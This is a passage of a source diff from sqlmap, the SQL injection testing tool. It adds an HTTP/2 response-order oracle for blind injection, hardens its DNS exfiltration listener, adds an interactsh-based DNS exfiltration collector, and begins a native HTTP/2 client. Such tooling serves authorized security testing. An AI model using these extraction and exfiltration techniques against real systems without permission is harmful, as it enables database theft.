raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
|
||||
h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
|
||||
|
||||
try:
|
||||
proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
|
||||
with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
|
||||
conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
|
||||
except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
|
||||
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
|
||||
except IOError as ex:
|
||||
raise _http_client.HTTPException(getSafeExString(ex))
|
||||
else:
|
||||
if conn.status_code >= 400:
|
||||
raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read()))
|
||||
|
||||
conn.code = conn.status_code
|
||||
conn.msg = conn.reason_phrase
|
||||
conn.info = lambda c=conn: c.headers
|
||||
|
||||
conn._read_buffer = conn.read()
|
||||
conn._read_offset = 0
|
||||
if conn.code >= 400:
|
||||
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
|
||||
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
|
||||
|
||||
@@ -660,18 +661,6 @@ class Connect(object):
|
||||
threadData.lastRequestMsg = requestMsg
|
||||
|
||||
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
|
||||
|
||||
def _read(count=None):
|
||||
offset = conn._read_offset
|
||||
if count is None:
|
||||
result = conn._read_buffer[offset:]
|
||||
conn._read_offset = len(conn._read_buffer)
|
||||
else:
|
||||
result = conn._read_buffer[offset: offset + count]
|
||||
conn._read_offset += len(result)
|
||||
return result
|
||||
|
||||
conn.read = _read
|
||||
else:
|
||||
if not multipart:
|
||||
threadData.lastRequestMsg = requestMsg
|
||||
@@ -768,6 +757,17 @@ class Connect(object):
|
||||
warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex)
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# Keep-alive: dispose the response explicitly. Its wrapped close() hands the socket
|
||||
# back to the pool when the body was fully drained, otherwise drops it (a size-capped
|
||||
# partial read must not be reused). This avoids leaning on GC to reclaim it (delayed on
|
||||
# non-refcounting runtimes like PyPy). Guarded by the handler's marker so the HTTP/2
|
||||
# reuse pool is left untouched.
|
||||
elif conn is not None and getattr(conn, "_keepaliveManaged", False):
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
except SqlmapConnectionException as ex:
|
||||
if conf.proxyList and not kb.threadException:
|
||||
warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex)
|
||||
@@ -1015,7 +1015,7 @@ class Connect(object):
|
||||
if conn and getattr(conn, "redurl", None):
|
||||
_ = _urllib.parse.urlsplit(conn.redurl)
|
||||
_ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
|
||||
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
|
||||
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, count=1)
|
||||
|
||||
if kb.resendPostOnRedirect is False:
|
||||
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
|
||||
@@ -1043,7 +1043,7 @@ class Connect(object):
|
||||
|
||||
@staticmethod
|
||||
@stackedmethod
|
||||
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
|
||||
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False, buildOnly=False):
|
||||
"""
|
||||
This method calls a function to get the target URL page content
|
||||
and returns its page ratio (0 <= ratio <= 1) or a boolean value
|
||||
@@ -1053,6 +1053,10 @@ class Connect(object):
|
||||
if conf.direct:
|
||||
return direct(value, content)
|
||||
|
||||
# Snapshot the pristine payload for the timeless oracle before placement/tampering rewrites it,
|
||||
# so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair.
|
||||
timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None
|
||||
|
||||
get = None
|
||||
post = None
|
||||
cookie = None
|
||||
@@ -1081,6 +1085,15 @@ class Connect(object):
|
||||
payload = agent.extractPayload(value)
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
# Opt-in sanity lint of the outbound (pre-tamper) payload. Skipped during
|
||||
# detection (kb.testMode) where deliberately-invalid probes are expected;
|
||||
# for operational payloads a structural defect is a genuine bug worth a
|
||||
# heads-up. Enabled via SQLMAP_LINT_PAYLOADS (e.g. CI/--vuln-test runs).
|
||||
if payload and not kb.testMode and os.environ.get("SQLMAP_LINT_PAYLOADS"):
|
||||
for issue in checkSanity(agent.removePayloadDelimiters(value)):
|
||||
singleTimeWarnMessage("potentially malformed SQL payload emitted (%s): %s" % (issue, payload))
|
||||
break
|
||||
|
||||
if conf.httpHeaders:
|
||||
headers = OrderedDict(conf.httpHeaders)
|
||||
contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None
|
||||
@@ -1529,6 +1542,22 @@ class Connect(object):
|
||||
elif postUrlEncode:
|
||||
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
|
||||
|
||||
# When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector
|
||||
# is in place before any payload is built), a boolean comparison is answered by relative HTTP/2
|
||||
# response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and
|
||||
# it skips the time-based statistical warm-up entirely. The comparison request is assembled exactly
|
||||
# as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing.
|
||||
if timeBasedCompare and kb.get("timeless") is not None:
|
||||
from lib.request.timeless import negatePayload
|
||||
# Build the condition and negation requests through the SAME path (queryPage buildOnly on the
|
||||
# raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond
|
||||
# from the already-placed uri/get/post while neg goes through fresh placement would make them
|
||||
# non-corresponding and flip the order.
|
||||
negValue = negatePayload(timelessOrigValue)
|
||||
condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True)
|
||||
negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None
|
||||
return kb.timeless.readBitFromSpecs(condSpec, negSpec)
|
||||
|
||||
if timeBasedCompare and not conf.disableStats:
|
||||
if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
|
||||
clearConsoleLine()
|
||||
@@ -1606,6 +1635,12 @@ class Connect(object):
|
||||
finally:
|
||||
kb.pageCompress = popValue()
|
||||
|
||||
# Timeless-timing oracle: after all placement/tampering, hand back the fully-assembled request
|
||||
# (url, method, headers, post) instead of sending it, so two payloads can be coalesced into one
|
||||
# multiplexed HTTP/2 pair (lib/request/timeless.py).
|
||||
if buildOnly:
|
||||
return Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=True, auxHeaders=auxHeaders, buildOnly=True)
|
||||
|
||||
if pageLength is None:
|
||||
try:
|
||||
page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
|
||||
@@ -1626,10 +1661,7 @@ class Connect(object):
|
||||
if payload is None:
|
||||
value = value.replace(kb.customInjectionMark, "")
|
||||
else:
|
||||
try:
|
||||
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
|
||||
except re.error:
|
||||
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value)
|
||||
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), lambda _: payload, value) # Note: function replacement inserts payload literally - avoids re.sub interpreting backslashes / group refs (e.g. \1, \g<...>) in the payload
|
||||
return value
|
||||
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
|
||||
|
||||
+144
-14
@@ -8,6 +8,8 @@ See the file 'LICENSE' for copying permission
|
||||
from __future__ import print_function
|
||||
|
||||
import binascii
|
||||
import collections
|
||||
import errno
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
@@ -15,6 +17,11 @@ import struct
|
||||
import threading
|
||||
import time
|
||||
|
||||
try:
|
||||
from lib.core.settings import MAX_DNS_REQUESTS
|
||||
except ImportError:
|
||||
MAX_DNS_REQUESTS = 1000 # fallback so this module stays runnable standalone
|
||||
|
||||
class DNSQuery(object):
|
||||
"""
|
||||
>>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
|
||||
@@ -28,18 +35,36 @@ class DNSQuery(object):
|
||||
self._query = b""
|
||||
|
||||
try:
|
||||
if len(raw) < 13:
|
||||
return
|
||||
|
||||
type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits
|
||||
|
||||
if type_ == 0: # Standard query
|
||||
i = 12
|
||||
j = ord(raw[i:i + 1])
|
||||
labels = []
|
||||
|
||||
while True:
|
||||
if i >= len(raw):
|
||||
return
|
||||
|
||||
while j != 0:
|
||||
self._query += raw[i + 1:i + j + 1] + b'.'
|
||||
i = i + j + 1
|
||||
j = ord(raw[i:i + 1])
|
||||
except TypeError:
|
||||
pass
|
||||
|
||||
if j == 0:
|
||||
break
|
||||
|
||||
i += 1
|
||||
|
||||
if i + j > len(raw):
|
||||
return
|
||||
|
||||
labels.append(raw[i:i + j])
|
||||
i += j
|
||||
|
||||
if labels:
|
||||
self._query = b".".join(labels) + b'.'
|
||||
except (TypeError, ValueError, IndexError):
|
||||
self._query = b""
|
||||
|
||||
def response(self, resolution):
|
||||
"""
|
||||
@@ -49,10 +74,15 @@ class DNSQuery(object):
|
||||
retVal = b""
|
||||
|
||||
if self._query:
|
||||
end = self._raw[12:].find(b"\x00")
|
||||
|
||||
if end < 0 or len(self._raw) < 12 + end + 5:
|
||||
return retVal
|
||||
|
||||
retVal += self._raw[:2] # Transaction ID
|
||||
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
||||
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
||||
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
||||
retVal += self._raw[12:(12 + end + 5)] # Original Domain Name Query
|
||||
retVal += b"\xc0\x0c" # Pointer to domain name
|
||||
retVal += b"\x00\x01" # Type A
|
||||
retVal += b"\x00\x01" # Class IN
|
||||
@@ -74,7 +104,7 @@ class DNSServer(object):
|
||||
|
||||
def __init__(self):
|
||||
self._check_localhost()
|
||||
self._requests = []
|
||||
self._requests = collections.deque(maxlen=MAX_DNS_REQUESTS)
|
||||
self._lock = threading.Lock()
|
||||
|
||||
try:
|
||||
@@ -135,17 +165,55 @@ class DNSServer(object):
|
||||
"""
|
||||
|
||||
def _():
|
||||
def _is_udp_connreset(ex):
|
||||
return getattr(ex, "winerror", None) == 10054 or getattr(ex, "errno", None) in (errno.ECONNRESET, 10054)
|
||||
|
||||
try:
|
||||
self._running = True
|
||||
self._initialized = True
|
||||
|
||||
while True:
|
||||
data, addr = self._socket.recvfrom(1024)
|
||||
_ = DNSQuery(data)
|
||||
self._socket.sendto(_.response("127.0.0.1"), addr)
|
||||
try:
|
||||
if hasattr(socket, "SIO_UDP_CONNRESET") and hasattr(self._socket, "ioctl"):
|
||||
# Windows reports ICMP "port unreachable" for UDP as WSAECONNRESET on
|
||||
# recvfrom(). DNS clients in tests and in the wild can disappear before
|
||||
# reading our fake response; that must not kill the server thread.
|
||||
self._socket.ioctl(socket.SIO_UDP_CONNRESET, False)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
with self._lock:
|
||||
self._requests.append(_._query)
|
||||
while True:
|
||||
try:
|
||||
data, addr = self._socket.recvfrom(1024)
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
except socket.error as ex:
|
||||
if _is_udp_connreset(ex):
|
||||
continue
|
||||
break # socket closed/broken - stop serving (e.g. program exit)
|
||||
except Exception:
|
||||
break # socket closed/broken - stop serving (e.g. program exit)
|
||||
|
||||
# Note: a single malformed packet or a transient send error must NOT kill the
|
||||
# server thread (otherwise all subsequent DNS exfiltration is silently lost).
|
||||
# The query is recorded BEFORE responding, so the exfiltrated data is captured
|
||||
# even if crafting/sending the (fake) resolution response fails.
|
||||
try:
|
||||
_ = DNSQuery(data)
|
||||
|
||||
if not _._query:
|
||||
continue
|
||||
|
||||
with self._lock:
|
||||
self._requests.append(_._query)
|
||||
|
||||
response = _.response("127.0.0.1")
|
||||
|
||||
if response:
|
||||
self._socket.sendto(response, addr)
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
@@ -157,6 +225,68 @@ class DNSServer(object):
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
class InteractshDNSServer(object):
|
||||
"""DNS exfiltration collector backed by a public (or self-hosted) interactsh
|
||||
interaction server instead of a locally-bound privileged :53 socket. This lets
|
||||
the '--dns-domain' data-exfiltration technique run with zero infrastructure - no
|
||||
delegated authoritative domain, no root/Administrator, no reachable listener -
|
||||
by resolving lookups under the interactsh correlation domain and polling them
|
||||
back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it
|
||||
is a drop-in for conf.dnsServer.
|
||||
"""
|
||||
|
||||
_POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds;
|
||||
_POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent
|
||||
|
||||
def __init__(self, server=None):
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
|
||||
if not hasCrypto():
|
||||
raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package")
|
||||
|
||||
self._client = Interactsh(server=server)
|
||||
|
||||
if not self._client.registered:
|
||||
raise socket.error("could not register with an interactsh interaction server")
|
||||
|
||||
self.domain = self._client.dnsDomain()
|
||||
self._seen = set()
|
||||
self._running = True
|
||||
self._initialized = True
|
||||
|
||||
def run(self):
|
||||
"""No background listener is needed - interactsh does the receiving."""
|
||||
pass
|
||||
|
||||
def pop(self, prefix=None, suffix=None):
|
||||
"""
|
||||
Returns a captured DNS lookup name matching the given prefix/suffix
|
||||
(prefix.<query result>.suffix.<correlation domain>), mirroring DNSServer.pop().
|
||||
|
||||
Unlike the synchronous local DNSServer (which reads a query captured during the
|
||||
very request), interactsh is remote and eventually-consistent: a just-triggered
|
||||
lookup takes a moment to reach the collector and surface via its poll API. So we
|
||||
poll a few times before giving up, instead of reading once.
|
||||
"""
|
||||
|
||||
for attempt in range(self._POLL_TRIES):
|
||||
for name in self._client.dnsNames():
|
||||
if name in self._seen:
|
||||
continue
|
||||
|
||||
if prefix is None and suffix is None:
|
||||
self._seen.add(name)
|
||||
return name
|
||||
|
||||
if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
|
||||
self._seen.add(name)
|
||||
return name
|
||||
|
||||
if attempt < self._POLL_TRIES - 1:
|
||||
time.sleep(self._POLL_DELAY)
|
||||
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
server = None
|
||||
try:
|
||||
|
||||
@@ -0,0 +1,775 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional
|
||||
# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical
|
||||
# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client
|
||||
# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x.
|
||||
|
||||
import base64
|
||||
import socket
|
||||
import ssl
|
||||
import struct
|
||||
import threading
|
||||
|
||||
try:
|
||||
from http.client import responses as _HTTP_RESPONSES
|
||||
except ImportError:
|
||||
from httplib import responses as _HTTP_RESPONSES
|
||||
|
||||
try:
|
||||
from urllib.parse import urljoin, urlsplit
|
||||
except ImportError:
|
||||
from urlparse import urljoin, urlsplit
|
||||
|
||||
from email.message import Message as _Message
|
||||
|
||||
REDIRECT_CODES = (301, 302, 303, 307, 308)
|
||||
|
||||
|
||||
HUFFMAN_CODES = [
|
||||
0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea,
|
||||
0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef,
|
||||
0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8,
|
||||
0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9,
|
||||
0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc,
|
||||
0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68,
|
||||
0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc,
|
||||
0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76,
|
||||
0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6,
|
||||
0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc,
|
||||
0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2,
|
||||
0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd,
|
||||
0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf,
|
||||
0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef,
|
||||
0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb,
|
||||
0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf,
|
||||
0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2,
|
||||
0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec,
|
||||
0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef,
|
||||
0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8,
|
||||
0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee,
|
||||
0x3fffffff
|
||||
]
|
||||
|
||||
|
||||
HUFFMAN_LENGTHS = [
|
||||
0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c,
|
||||
0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd,
|
||||
0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7,
|
||||
0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7,
|
||||
0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6,
|
||||
0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb,
|
||||
0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18,
|
||||
0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16,
|
||||
0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16,
|
||||
0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16,
|
||||
0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b,
|
||||
0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16,
|
||||
0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b,
|
||||
0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e
|
||||
]
|
||||
|
||||
|
||||
STATIC_TABLE = (
|
||||
(b':authority', b''),
|
||||
(b':method', b'GET'),
|
||||
(b':method', b'POST'),
|
||||
(b':path', b'/'),
|
||||
(b':path', b'/index.html'),
|
||||
(b':scheme', b'http'),
|
||||
(b':scheme', b'https'),
|
||||
(b':status', b'200'),
|
||||
(b':status', b'204'),
|
||||
(b':status', b'206'),
|
||||
(b':status', b'304'),
|
||||
(b':status', b'400'),
|
||||
(b':status', b'404'),
|
||||
(b':status', b'500'),
|
||||
(b'accept-charset', b''),
|
||||
(b'accept-encoding', b'gzip, deflate'),
|
||||
(b'accept-language', b''),
|
||||
(b'accept-ranges', b''),
|
||||
(b'accept', b''),
|
||||
(b'access-control-allow-origin', b''),
|
||||
(b'age', b''),
|
||||
(b'allow', b''),
|
||||
(b'authorization', b''),
|
||||
(b'cache-control', b''),
|
||||
(b'content-disposition', b''),
|
||||
(b'content-encoding', b''),
|
||||
(b'content-language', b''),
|
||||
(b'content-length', b''),
|
||||
(b'content-location', b''),
|
||||
(b'content-range', b''),
|
||||
(b'content-type', b''),
|
||||
(b'cookie', b''),
|
||||
(b'date', b''),
|
||||
(b'etag', b''),
|
||||
(b'expect', b''),
|
||||
(b'expires', b''),
|
||||
(b'from', b''),
|
||||
(b'host', b''),
|
||||
(b'if-match', b''),
|
||||
(b'if-modified-since', b''),
|
||||
(b'if-none-match', b''),
|
||||
(b'if-range', b''),
|
||||
(b'if-unmodified-since', b''),
|
||||
(b'last-modified', b''),
|
||||
(b'link', b''),
|
||||
(b'location', b''),
|
||||
(b'max-forwards', b''),
|
||||
(b'proxy-authenticate', b''),
|
||||
(b'proxy-authorization', b''),
|
||||
(b'range', b''),
|
||||
(b'referer', b''),
|
||||
(b'refresh', b''),
|
||||
(b'retry-after', b''),
|
||||
(b'server', b''),
|
||||
(b'set-cookie', b''),
|
||||
(b'strict-transport-security', b''),
|
||||
(b'transfer-encoding', b''),
|
||||
(b'user-agent', b''),
|
||||
(b'vary', b''),
|
||||
(b'via', b''),
|
||||
(b'www-authenticate', b''),
|
||||
)
|
||||
STATIC_LEN = len(STATIC_TABLE)
|
||||
|
||||
|
||||
# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII.
|
||||
|
||||
# frame types (RFC 7540 s6)
|
||||
DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9
|
||||
# flags
|
||||
FLAG_END_STREAM = 0x1
|
||||
FLAG_ACK = 0x1
|
||||
FLAG_END_HEADERS = 0x4
|
||||
FLAG_PADDED = 0x8
|
||||
FLAG_PRIORITY = 0x20
|
||||
|
||||
CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
|
||||
|
||||
def encode_frame(ftype, flags, stream_id, payload=b""):
|
||||
"""Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id.
|
||||
|
||||
>>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9])
|
||||
(3, 1, 4, 1)
|
||||
"""
|
||||
if len(payload) > 0xffffff:
|
||||
raise ValueError("frame payload exceeds 24-bit length")
|
||||
header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack)
|
||||
header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31)
|
||||
return header + payload
|
||||
|
||||
def decode_frame_header(nine):
|
||||
"""Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off.
|
||||
|
||||
>>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9])
|
||||
(0, 0, 0, 1)
|
||||
"""
|
||||
if len(nine) != 9:
|
||||
raise ValueError("frame header must be exactly 9 bytes")
|
||||
length = struct.unpack("!I", b"\x00" + nine[:3])[0]
|
||||
ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9])
|
||||
return length, ftype, flags, stream_id & 0x7fffffff
|
||||
|
||||
# ---------- Huffman ----------
|
||||
def huffman_encode(data):
|
||||
"""Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits.
|
||||
|
||||
>>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com'
|
||||
True
|
||||
>>> huffman_encode(b'') == b''
|
||||
True
|
||||
"""
|
||||
if not data:
|
||||
return b""
|
||||
acc = 0
|
||||
nbits = 0
|
||||
for b in bytearray(data):
|
||||
acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b]
|
||||
nbits += HUFFMAN_LENGTHS[b]
|
||||
pad = (8 - nbits % 8) % 8
|
||||
